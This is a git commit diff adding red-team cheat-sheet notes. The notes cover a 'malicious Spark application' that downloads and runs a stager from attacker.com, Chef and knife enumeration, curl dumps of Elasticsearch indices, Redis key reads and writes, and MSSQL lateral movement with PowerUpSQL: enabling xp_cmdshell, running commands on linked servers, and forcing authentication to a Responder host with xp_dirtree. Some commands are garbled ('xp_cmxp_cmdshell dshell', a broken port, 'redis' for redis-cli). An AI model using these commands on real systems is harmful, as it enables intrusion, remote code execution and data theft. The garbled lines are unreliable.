first commit

2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
@@ -0,0 +1,23 @@
+- Malicious Spark application - initializing Spark context
+```Python
+from pyspark import SparkContext, SparkConf
+# Set up configuration options
+conf = SparkConf()
+conf = conf.setAppName("Word Count")
+# Add the IP of the Spark master
+conf = conf.setMaster("spark://<master_IP>:7077")
+# Add the IP of the Jenkins worker we are currently on
+conf = conf.set("spark.driver.host", "<worker_IP>")
+# Initialize the Spark context with the necessary info to reach the master
+sc = SparkContext(conf = conf)
+partList = sc.parallelize(range(0, 1))
+finalList = partList.map(
+	lambda x: subprocess.Popen(
+        "wget https://attacker.com/stager &&  chmod +x ./stager && ./stager &",
+        shell=True,
+        preexec_fn=os.setpgrp,
+    )
+)
+finalList.collect()
+time.sleep(10)
+```
@@ -0,0 +1,22 @@
+- Machine registration
+	1. Create `client.rb` and `validation.pem`
+		- The former defines variables Chef needs to set up a new machine and the latter is the `chef-validator` private key
+	2. `apt update && apt install -y chef`
+	3. `chef-client`
+	4. `ls /etc/chef`
+- Configure the `knife` utility
+	-  `~/.chef/knife.rb`
+```Ruby
+node_name 'aws-node-78ec.eu-west-1.compute.internal'
+client_key '/etc/chef/client.pem'
+chef_server_url 'https://chef.mxrads.net/organizations/mxrads'
+knife[:editor] = '/usr/bin/vim'
+```
+
+- Explore Chef cookbooks
+	- List
+		- `knife cookbooks list`
+	- Display cookbook version history
+		- `knife cookbooks show <cookbook_name>`
+	- Display specific cookbook
+		- `knife cookbooks show <cookbook_name> <version>`
@@ -0,0 +1,6 @@
+- Get a list of indices
+	- `curl "<IP>:9200/_cat/indices?v"`
+- Extract last bit of data from given index
+	- `curl "<IP>:9200/<index_name>>/_search?pretty&size=4"`
+- Search for keywords in index
+	- `curl "<IP>:9200/<index_name>/_search?pretty&size=12&q=message:<search_string>"`
@@ -0,0 +1,25 @@
+- PowerUpSQL
+	- `powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433'`
+	- `powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433' -Query 'select @@version' | select Instance, CustomQuery | % { $_ | Add-Member NoteProperty 'QueryResult' $($_.CustomQuery[0]); $_ } | fl`
+- Queries:
+	- `SELECT @@version`
+	- `SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'`
+	- `EXEC xp_cmxp_cmdshell dshell 'dir C:\'`
+	- List databases
+		- `SELECT name,database_id,create_date from sys.databases`
+	- List db admins
+		- `SELECT name,type_desc,is_disabled,create_date FROM master.sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1 ORDER BY name`
+	- Enable xp_cmdshell:
+		- `sp_configure 'Show Advanced Options', 1; RECONFIGURE;`
+		- `sp_configure 'xp_cmdshell', 1; RECONFIGURE`
+	- Use xp_dirtree (with Responder)
+		- `EXEC master.sys.xp_dirtree '\\10.10.14.12\CTHULHUFHTAGN',1,1`
+	- Discover linked databases:
+		- `SELECT * FROM master..sysservers`
+	- Execute queries on linked databases:
+		- `SELECT * FROM OPENQUERY("SQL02.DEV.ZEROPOINTSECURITY.CO.UK", 'select * FROM master..sysservers')`
+		- `EXEC('xp_cmdshell "dir C:\"') AT [sql02.dev.zeropointsecurity.co.uk]`
+		- `SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select * from sys.configurations where name = ''xp_cmdshell''')`
+		- `SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select @@servername; exec xp_cmdshell ''whoami''')`
+	- Search for specific keywords in databases and format results into table
+		- `Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ? { $_.Status -eq 'Accessible' } | Get-SQLColumnSampleDataThreaded -SampleSize 5 -Keywords 'student,name' -NoDefaults | select instance, database, column, sample | ft -autosize`
@@ -0,0 +1,2 @@
+- Get tables and columns
+	- `psql -h <host> -U root -d <db_name> -p 543-c "SELECT tablename, columnname FROM PG_TABLE_DEF where schemaname ='public'"`
@@ -0,0 +1,6 @@
+- List all keys in the database
+	- `redis -h <IP> --scan *`
+- Get value of a given key
+	- `redis -h <IP> get <key_name>`
+- Set value of a given key
+	- `redis -h 10.59.12.47 set <key> <value>`